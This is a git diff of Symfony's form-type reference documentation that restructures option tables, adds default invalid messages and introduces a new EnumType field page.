-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid date and time.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -121,7 +85,7 @@ values for the year, month, day, hour, minute and second fields::
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 format
@@ -231,6 +195,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -250,8 +216,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 74eeaa95272..e27898386d4 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -7,33 +7,25 @@ EmailType Field
 The ``EmailType`` field is a text field that is rendered using the HTML5
 ``<input type="email"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``email`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``email`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid email address.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -45,13 +37,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 21183ad4e57..6adaa9df79f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -12,49 +12,6 @@ objects from the database.
 +-------------+------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)     |
 +-------------+------------------------------------------------------------------+
-| Options     | - `choice_label`_                                                |
-|             | - `class`_                                                       |
-|             | - `em`_                                                          |
-|             | - `query_builder`_                                               |
-+-------------+------------------------------------------------------------------+
-| Overridden  | - `choice_name`_                                                 |
-| options     | - `choice_value`_                                                |
-|             | - `choices`_                                                     |
-|             | - `data_class`_                                                  |
-+-------------+------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`:      |
-| options     |                                                                  |
-|             | - `choice_attr`_                                                 |
-|             | - `choice_translation_domain`_                                   |
-|             | - `expanded`_                                                    |
-|             | - `group_by`_                                                    |
-|             | - `multiple`_                                                    |
-|             | - `placeholder`_                                                 |
-|             | - `preferred_choices`_                                           |
-|             | - `translation_domain`_                                          |
-|             | - `trim`_                                                        |
-|             |                                                                  |
-|             | from the :doc:`FormType </reference/forms/types/form>`:          |
-|             |                                                                  |
-|             | - `attr`_                                                        |
-|             | - `data`_                                                        |
-|             | - `disabled`_                                                    |
-|             | - `empty_data`_                                                  |
-|             | - `error_bubbling`_                                              |
-|             | - `error_mapping`_                                               |
-|             | - `help`_                                                        |
-|             | - `help_attr`_                                                   |
-|             | - `help_html`_                                                   |
-|             | - `label`_                                                       |
-|             | - `label_attr`_                                                  |
-|             | - `label_format`_                                                |
-|             | - `mapped`_                                                      |
-|             | - `required`_                                                    |
-|             | - `row_attr`_                                                    |
-|             | - `label_translation_parameters`_                                |
-|             | - `attr_translation_parameters`_                                 |
-|             | - `help_translation_parameters`_                                 |
-+-------------+------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                |
 +-------------+------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Bridge\\Doctrine\\Form\\Type\\EntityType`       |
@@ -182,7 +139,7 @@ more details, see the main :ref:`choice_label <reference-form-choice-label>` doc
 
     When passing a string, the ``choice_label`` option is a property path. So you
     can use anything supported by the
-    :doc:`PropertyAccessor component </components/property_access>`
+    :doc:`PropertyAccess component </components/property_access>`
 
     For example, if the translations property is actually an associative
     array of objects, each with a ``name`` property, then you could do this::
@@ -331,8 +288,7 @@ type:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -340,8 +296,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
new file mode 100644
index 00000000000..51fefe016f0
--- /dev/null
+++ b/reference/forms/types/enum.rst
@@ -0,0 +1,119 @@
+.. index::
+   single: Forms; Fields; EnumType
+
+EnumType Field
+==============
+
+.. versionadded:: 5.4
+
+   The ``EnumType`` form field was introduced in Symfony 5.4.
+
+A multi-purpose field used to allow the user to "choose" one or more options
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
+field and defines the same options.
+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType`   |
++---------------------------+----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Example Usage
+-------------
+
+Before using this field, you'll need to have some PHP enumeration (or "enum" for
+short) defined somewhere in your application. This enum has to be of type
+"backed enum", where each keyword defines a scalar value such as a string::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign
+    {
+        case Left = 'Left/Start aligned';
+        case Center = 'Center/Middle aligned';
+        case Right = 'Right/End aligned';
+    }
+
+Instead of using the values of the enumeration in a ``choices`` option, the
+``EnumType`` only requires to define the ``class`` option pointing to the enum::
+
+    use App\Config\TextAlign;
+    use Symfony\Component\Form\Extension\Core\Type\EnumType;
+    // ...
+
+    $builder->add('alignment', EnumType::class, ['class' => TextAlign::class]);
+
+This will display a ``<select>`` tag with the three possible values defined in
+the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
+these values as ``<input type="checkbox">`` or ``<input type="radio">``.
+
+Field Options
+-------------
+
+class
+~~~~~
+
+**type**: ``string`` **default**: (it has no default)
+
+The fully-qualified class name (FQCN) of the PHP enum used to get the values
+displayed by this form field.
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/expanded.rst.inc
+
+.. include:: /reference/forms/types/options/multiple.rst.inc
+
+.. include:: /reference/forms/types/options/placeholder.rst.inc
+
+.. include:: /reference/forms/types/options/preferred_choices.rst.inc
+
+.. include:: /reference/forms/types/options/choice_type_trim.rst.inc
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`PHP enumeration`: https://www.php.net/manual/language.enumerations.php
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 66a18560577..fc2836cd2cf 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -6,33 +6,17 @@ FileType Field
 
 The ``FileType`` represents a file input in your form.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``file`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `multiple`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     | - `data_class`_                                                     |
-|             | - `empty_data`_                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `disabled`_                                                       |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType`  |
-+-------------+---------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Rendered as               | ``input`` ``file`` field                                           |
++---------------------------+--------------------------------------------------------------------+
+| Default invalid message   | Please select a valid file.                                        |
++---------------------------+--------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -120,6 +104,11 @@ This option sets the appropriate file-related data mapper to be used by the type
 This option determines what value the field will return when the submitted
 value is empty.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 8a0c219f410..b38fd5ac5b8 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,51 +7,15 @@ FormType Field
 The ``FormType`` predefines a couple of options that are then available
 on all types for which ``FormType`` is the parent.
 
-+-----------+--------------------------------------------------------------------+
-| Options   | - `action`_                                                        |
-|           | - `allow_extra_fields`_                                            |
-|           | - `by_reference`_                                                  |
-|           | - `compound`_                                                      |
-|           | - `constraints`_                                                   |
-|           | - `data`_                                                          |
-|           | - `data_class`_                                                    |
-|           | - `empty_data`_                                                    |
-|           | - `error_bubbling`_                                                |
-|           | - `error_mapping`_                                                 |
-|           | - `extra_fields_message`_                                          |
-|           | - `help`_                                                          |
-|           | - `help_attr`_                                                     |
-|           | - `help_html`_                                                     |
-|           | - `help_translation_parameters`_                                   |
-|           | - `inherit_data`_                                                  |
-|           | - `invalid_message`_                                               |
-|           | - `invalid_message_parameters`_                                    |
-|           | - `label_attr`_                                                    |
-|           | - `label_format`_                                                  |
-|           | - `mapped`_                                                        |
-|           | - `method`_                                                        |
-|           | - `post_max_size_message`_                                         |
-|           | - `property_path`_                                                 |
-|           | - `required`_                                                      |
-|           | - `trim`_                                                          |
-|           | - `validation_groups`_                                             |
-+-----------+--------------------------------------------------------------------+
-| Inherited | - `attr`_                                                          |
-| options   | - `auto_initialize`_                                               |
-|           | - `block_name`_                                                    |
-|           | - `block_prefix`_                                                  |
-|           | - `disabled`_                                                      |
-|           | - `label`_                                                         |
-|           | - `label_html`_                                                    |
-|           | - `row_attr`_                                                      |
-|           | - `translation_domain`_                                            |
-|           | - `label_translation_parameters`_                                  |
-|           | - `attr_translation_parameters`_                                   |
-+-----------+--------------------------------------------------------------------+
-| Parent    | none                                                               |
-+-----------+--------------------------------------------------------------------+
-| Class     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
-+-----------+--------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Default invalid message   | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Legacy invalid message    | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Parent                    | none                                                               |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -89,8 +53,7 @@ option on the form.
 
 .. _reference-form-option-empty-data:
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -101,8 +64,7 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. _reference-form-option-error-bubbling:
 
@@ -112,6 +74,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/extra_fields_message.rst.inc
 
+.. include:: /reference/forms/types/options/form_attr.rst.inc
+
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
@@ -171,8 +135,12 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
+.. _reference-form-option-label:
+
 .. include:: /reference/forms/types/options/label.rst.inc
 
+.. _reference-form-option-label-html:
+
 .. include:: /reference/forms/types/options/label_html.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
@@ -182,3 +150,5 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 .. include:: /reference/forms/types/options/label_translation_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/attr_translation_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/priority.rst.inc
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 1a74e107555..4a5a449ae60 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -6,25 +6,17 @@ HiddenType Field
 
 The hidden type represents a hidden input field.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``hidden`` field                                           |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     | - `error_bubbling`_                                                  |
-|             | - `required`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `empty_data`_                                                      |
-|             | - `error_mapping`_                                                   |
-|             | - `mapped`_                                                          |
-|             | - `property_path`_                                                   |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``hidden`` field                                           |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The hidden field is invalid.                                         |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -40,6 +32,8 @@ Overridden Options
 
 Pass errors to the root form, otherwise they will not be visible.
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``required``
 ~~~~~~~~~~~~
 
@@ -56,13 +50,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/data.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index fa5660158bc..f4654e96591 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -13,37 +13,17 @@ This field has different options on how to handle input values that aren't
 integers. By default, all non-integer values (e.g. 6.78) will round down
 (e.g. 6).
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``number`` field                                            |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                         |
-|             | - `rounding_mode`_                                                    |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``number`` field                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter an integer.                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -55,37 +35,49 @@ Field Options
 ``rounding_mode``
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``IntegerToLocalizedStringTransformer::ROUND_DOWN``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
 
 By default, if the user enters a non-integer number, it will be rounded
-down. There are several other rounding methods and each is a constant
-on the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`:
+down. You have several configurable options for that rounding. Each option
+is a constant on the :phpclass:`NumberFormatter` class:
 
-* ``IntegerToLocalizedStringTransformer::ROUND_DOWN`` Round towards zero.
+* ``\NumberFormatter::ROUND_DOWN`` Round towards zero. It
+  rounds ``1.4`` to ``1`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_FLOOR`` Round towards negative
-  infinity.
+* ``\NumberFormatter::ROUND_FLOOR`` Round towards negative
+  infinity. It rounds ``1.4`` to ``1`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_UP`` Round away from zero.
+* ``\NumberFormatter::ROUND_UP`` Round away from zero. It
+  rounds ``1.4`` to ``2`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_CEILING`` Round towards
-  positive infinity.
+* ``\NumberFormatter::ROUND_CEILING`` Round towards positive
+  infinity. It rounds ``1.4`` to ``2`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_DOWN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round down.
+* ``\NumberFormatter::ROUND_HALFDOWN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round down. It rounds
+  ``2.5`` and ``1.6`` to ``2``, ``1.5`` and ``1.4`` to ``1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_EVEN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round towards the
-  even neighbor.
+* ``\NumberFormatter::ROUND_HALFEVEN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round towards the even
+  neighbor. It rounds ``2.5``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_UP`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round up.
+* ``\NumberFormatter::ROUND_HALFUP`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round up. It rounds
+  ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
+
+.. deprecated:: 5.1
+
+    In Symfony versions prior to 5.1, these constants were also defined as aliases
+    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
+    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
 
 Overridden Options
 ------------------
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -97,13 +89,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -115,8 +105,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 5fa38697701..d95bc28780a 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -20,46 +20,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of languages. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                            |
-|             | - `choice_self_translation`_                                           |
-|             | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | Please select a valid language.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -71,7 +42,7 @@ alpha3
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is ``true``, the choice values use the `ISO 639-2 alpha-3`_
+If this option is ``true``, the choice values use the `ISO 639-2 alpha-3 (2T)`_
 three-letter codes (e.g. French = ``fra``) instead of the default
 `ISO 639-1 alpha-2`_ two-letter codes (e.g. French = ``fr``).
 
@@ -114,6 +85,8 @@ The default locale is used to translate the languages names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
